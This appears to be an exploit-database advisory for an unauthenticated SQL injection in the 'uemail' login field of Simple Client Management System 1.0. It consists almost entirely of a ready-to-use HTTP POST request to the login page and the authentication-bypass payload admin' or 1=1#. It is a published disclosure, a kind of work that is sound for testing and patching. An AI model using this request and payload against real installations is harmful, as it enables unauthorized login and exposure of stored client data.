Simple Client Management System 1.0 - (uemail) SQL Injection Vulnerability

# Exploit Title: Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)
# Exploit Author: Barış Yıldızoğlu
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/client-details.zip
# Version: 1.0
# Tested on: Windows 10 Home 64 Bit + Wampserver Version 3.2.3

Request:

POST /client%20details/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1 /client%20details/index.php
Cookie: PHPSESSID=86klv32pm6nvt60qtli6peonod
Upgrade-Insecure-Requests: 1

uemail={Payload Here}&password=&login=LOG+IN


# Proof of Concept:
          Payload: admin' or 1=1#